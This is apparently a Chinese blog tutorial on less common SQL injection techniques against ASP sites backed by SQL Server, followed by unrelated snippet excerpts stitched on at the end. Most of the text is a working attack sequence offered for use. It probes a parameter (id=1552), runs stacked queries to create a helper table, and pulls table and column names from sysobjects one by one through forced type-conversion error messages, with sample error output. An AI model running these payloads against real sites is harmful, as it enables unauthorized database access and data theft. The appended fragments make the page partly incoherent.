SQL指令碼注入的不常見方法概括

2022-05-05 04:30:09 字數 1619 閱讀 6576

大家在是否碰到過這樣的站點,全站文章系統採用fso靜態生成的html檔案來顯示。這樣做的好處一來可以減輕伺服器負擔,提高訪問速度。二來也阻止了sql注入式的攻擊。

我來說說他們的文章系統原理:全部文章均在資料庫存有乙個副本。另處根據模板生成乙個html頁面。

我們就可以這樣來試一下可否注入: http://伺服器網域名稱/count.asp?id=1552

看一下是否出錯。如出錯說明有注入漏洞。然後正常攻擊。

在本機建立一下post.htm的檔案和log.txt的文字檔案(用來記錄用,這是乙個好習慣)

post.htm內容:主要是方便輸入。

對於sqlserver的伺服器可以這樣判斷:在1552後加一分號,如正常有可能是sqlserver

對於這類資料庫可以先建乙個表id=1552;create table aaa(aaa char(20));--

然後插入一條記錄:id=1552;insert into aaa values('test');--

再之後列舉出他的資料表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

這是將第乙個表名更新到aaa的字段處。

id=1552 and exists(select * from aaa where aaa>5)就會報錯,多數情況會將表名直接讀出:

microsoft ole db provider for sql server 錯誤 '80040e07'

將 varchar 值 'vote' 轉換為資料型別為 int 的列時發生語法錯誤。

/search.asp,行21

其中vote就是表名:

也可以先猜出乙個表名,再把(select top 1 name from sysobjects where xtype='u' and status>0)的值更新到那個表的一條記錄中去。通過網頁顯示。

讀出第乙個表,第二個表可以這樣讀出來(在條件後加上 and name<>'剛才得到的表名')。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

然後id=1552 and exists(select * from aaa where aaa>5)

讀出第二個表,^^^^^^乙個個的讀出,直到沒有為止。

讀字段是這樣:

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名

……類推

SQL指令碼注入的不常見方法概括

我來說說他們的文章系統原理 全部文章均在資料庫存有乙個副本。另處根據模板生成乙個html頁面。我們就可以這樣來試一下可否注入 http 伺服器網域名稱 count.asp?id 1552 看一下是否出錯。如出錯說明有注入漏洞。然後正常攻擊。在本機建立一下post.htm的檔案和log.txt的文字檔...

SQL注入的常見方式及測試方法

本文主要針對sql注入的含義 以及如何進行sql注入和如何預防sql注入讓小夥伴有個了解。適用的人群主要是測試人員,了解如何進行sql注入,可以幫助我們測試登入 發布等模組的sql攻擊漏洞,至於如何預防sql注入,按理說應該是開發該了解的事情 但是作為乙個棒棒的測試,搞清楚原理是不是能讓我們更加透徹...

Python os的常見方法

1 os.getcwd filename 相當於在當前執行檔案的目錄下建立乙個以filename命名的檔案 2 os.path.realpath file 獲取當前檔案路徑 c users admin pycharmprojects test case test unitest.py file 表示...